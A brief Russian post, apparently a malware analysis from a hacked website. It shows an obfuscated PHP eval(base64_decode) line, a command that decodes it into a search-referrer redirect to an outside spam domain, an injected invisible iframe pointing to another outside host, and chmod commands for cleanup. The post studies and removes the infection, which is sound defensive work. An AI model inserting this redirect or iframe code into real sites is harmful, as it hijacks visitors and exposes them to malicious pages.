Важно Вирус на сайте

<?php
eval(base64_decode("JHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJzaXRlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mcmVleHhwb3RlLmNvLmNjLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCg=="));

$ php -r 'echo
base64_decode("JHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJzaXRlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9mcmVleHhwb3RlLmNvLmNjLyIpOw0KCQlleGl0KCk7DQoJfQ0KCX0NCg==");'

$referer=$_SERVER['HTTP_REFERER'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) {
        if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){             
                header("Location: http://freexxpote.co.cc/");
                exit();
        }
        }

<iframe name="SagUTeXYne" src="http://freedom24.ru/templates/rhuk_milkyway/kx/index.php?out=1330961285" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe></body>

find public_html -type d -exec chmod 0755 {} \;
find public_html -type f -exec chmod 0644 {} \;